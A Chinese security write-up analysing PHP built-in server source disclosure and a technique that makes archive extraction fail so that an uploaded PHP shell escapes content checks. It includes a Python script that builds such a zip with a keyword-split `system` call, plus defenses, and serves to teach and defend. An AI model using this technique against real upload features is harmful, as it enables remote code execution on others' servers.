利用解压缩报错中断绕过WAF分析
字数 969 2025-08-22 12:23:30
解压缩报错中断绕过WAF分析与利用
漏洞概述
本文档详细分析两种PHP相关的安全漏洞及其利用方法:
- PHP内置Web服务器源码泄露漏洞
- 解压缩报错中断绕过WAF技术
一、PHP内置Web服务器源码泄露漏洞
受影响版本
- 成功版本:PHP <= 7.4.21(官方确认)
- 实际测试成功版本:影响扩展到PHP 8.x某些版本
漏洞描述
PHP从5.4版本开始提供了一个内置的web服务器(php -S),主要用于本地开发环境。在特定条件下,攻击者可以将PHP文件作为静态文件直接读取其源码。
漏洞前提条件
- 目标服务器使用
php -S命令启动的内置Web服务器 - 服务器返回404等错误页面可能表明使用了此临时服务
漏洞利用方法
- 直接请求PHP文件,服务器可能会返回源码而非执行结果
- 需要关闭Burp Suite等工具自动修改Content-Length的功能
PoC示例
GET /path/to/vulnerable.php HTTP/1.1
Host: target.com
二、解压缩报错中断绕过WAF技术
漏洞原理分析
- 目标系统存在文件解压缩功能
- 代码中防止了
../目录穿越攻击 - 关键漏洞点:当解压缩失败时程序会退出,但已解压的文件不会被删除
- 通过构造解压缩失败,可以绕过后续的文件内容检查
绕过技术细节
-
文件内容WAF绕过:
- 对于命令执行,使用字符串拼接绕过关键字过滤
- 示例:
sy+stem()代替system()
-
解压缩过程利用:
- 构造特殊的压缩包,使其在解压过程中部分成功然后失败
- 已解压的恶意文件保留在服务器上
- 由于解压失败中断,文件内容检查被跳过
利用步骤
- 准备恶意文件,绕过内容检查
- 构造特殊的压缩包结构
- 上传并触发解压
- 访问已解压的恶意文件实现RCE
Python脚本示例
import zipfile
# 创建恶意zip文件
def create_malicious_zip():
with zipfile.ZipFile('exploit.zip', 'w') as z:
# 添加正常文件
z.writestr('normal.txt', 'This is normal content')
# 添加恶意文件(使用拼接绕过检查)
z.writestr('malicious.php', '<?php $a="sy"; $b="stem"; ($a.$b)("whoami"); ?>')
# 添加会导致解压失败的特殊文件
z.writestr('invalid\x00file', 'corrupt content')
create_malicious_zip()
防御措施
针对PHP源码泄露
- 避免在生产环境使用
php -S内置服务器 - 升级PHP到最新版本
- 使用标准Web服务器如Apache/Nginx
针对解压缩漏洞
- 解压前验证压缩包完整性
- 实现事务性解压:失败时回滚所有操作
- 对解压后的文件进行二次验证
- 设置严格的文件权限
- 使用安全的解压库并处理所有异常情况
总结
本文分析了两种不同的安全漏洞及其利用技术:
- PHP内置服务器源码泄露漏洞,影响多个PHP版本
- 解压缩过程的异常处理漏洞可绕过WAF保护
安全开发中必须考虑所有异常路径,并确保在任何失败情况下系统都能保持安全状态。